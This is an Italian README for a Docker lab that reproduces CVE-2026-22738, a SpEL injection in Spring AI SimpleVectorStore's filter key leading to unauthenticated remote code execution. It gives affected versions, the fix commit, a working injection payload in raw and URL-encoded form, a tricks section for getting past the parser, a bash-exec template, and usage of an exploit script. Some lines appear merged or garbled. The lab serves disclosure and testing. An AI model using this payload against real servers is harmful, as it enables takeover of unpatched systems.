
SpEL Injection tramite chiave di filtro non escapata in SimpleVectorStore porta a esecuzione remota di codice

CVE-2026-22738 è una vulnerabilità di iniezione SpEL (Spring Expression Language) in Spring AI SimpleVectorStore che può portare all'esecuzione remota di codice (RCE) non autenticata.
| Artifact | Versioni interessate | Versione corretta |
|---|---|---|
| org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
| org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
Nota: questo progetto utilizza la versione stabile spring-ai-core:1.0.0 per la riproduzione della vulnerabilità.
Commit di correzione: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
Il metodo SimpleVectorStore.similaritySearch() passa il nome della chiave del filtro fornito dall'utente direttamente al template SpEL, che viene valutato tramite StandardEvaluationContext. Poiché StandardEvaluationContext espone l'intera API di reflection JVM, un attaccante può iniettare:
T(java.lang.Runtime).getRuntime().exec(...)
aggiungendo la chiave del filtro per ottenere l'esecuzione di comandi del sistema operativo non autenticata.
Utilizzare il seguente payload, notare che è necessaria una codifica URL
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"
%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22
Passare il payload al parametro filterKey per aprire con successo la calcolatrice

Il semplice metodo di iniezione non funziona direttamente: è necessario superare due peculiarità del parser:
Rimozione degli apici singoli — una chiave che inizia con un apice singolo ' viene trattata come stringa tra virgolette; le virgolette esterne vengono rimosse, rompendo il payload.
Wrapper con virgolette doppie — avvolgere il payload tra virgolette doppie "..." fa sì che il parser rimuova le virgolette doppie esterne, preservando l'espressione SpEL interna come valore della chiave passato al parser #metadata['<KEY>'].
Chiave metadata vuota — #metadata[''] viene utilizzata su entrambi i lati dell'espressione iniettata (invece di una variabile non definita) per evitare l'errore SpEL di variabile sconosciuta, attivando comunque exec().
L'espressione calcolata assume la seguente forma:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
Il corpo della risposta HTTP conterrà l'errore di runtime SpEL EL1030E:
operator ADD not supported between null and java.lang.ProcessImpl
Questo errore viene generato dopo il ritorno di exec(), confermando l'esecuzione del comando a livello di sistema operativo senza bisogno di callback out-of-band.
pip install requests)# Creare e avviare i container
docker compose up -d --build
# Visualizzare i log
docker compose logs -f
# Installare le dipendenze
pip install requests
# Eseguire l'exploit (attendere l'avvio dell'applicazione)
python3 exploit.py --wait
# Oppure specificare il target
python3 exploit.py --target http://localhost:8082 --wait
| Flag | Valore predefinito | Descrizione |
|---|---|---|
--target | http://localhost:8082 | URL di base dell'applicazione vulnerabile |
--wait | disattivato | Esegue il polling finché il target non è pronto (utile dopo docker compose up) |
Nota: Docker Desktop (macOS/Windows) utilizza host.docker.internal per i callback, payload 127.0.0.1.
Il flusso della proof of concept comprende cinque passaggi consecutivi:
java.version tramite T(java.lang.System)touch /tmp/pwned_cve_2026_22738 all'interno del containerid // uname // hostname in /tmp/rce_proof.txtdocker exec├── Dockerfile # File di build Docker
├── docker-compose.yml # Configurazione Docker Compose
├── pom.xml # Configurazione del progetto Maven
├── settings.xml # Impostazioni Maven (include repository Spring)
├── exploit.py # Script di exploit
└── src/main/java/com/example/spelrce/
├── SpelRceLabApplication.java # Classe principale Spring Boot
├── VulnController.java # Controller vulnerabile
├── VectorStoreConfig.java # Configurazione VectorStore
└── DummyEmbeddingModel.java # Modello Embedding simulato
# Compilare il progetto
mvn clean package -DskipTests
# Eseguire l'applicazione
java -jar target/spel-rce-lab-1.0.0.jar
# In un altro terminale eseguire l'exploit
python3 exploit.py --target http://localhost:8082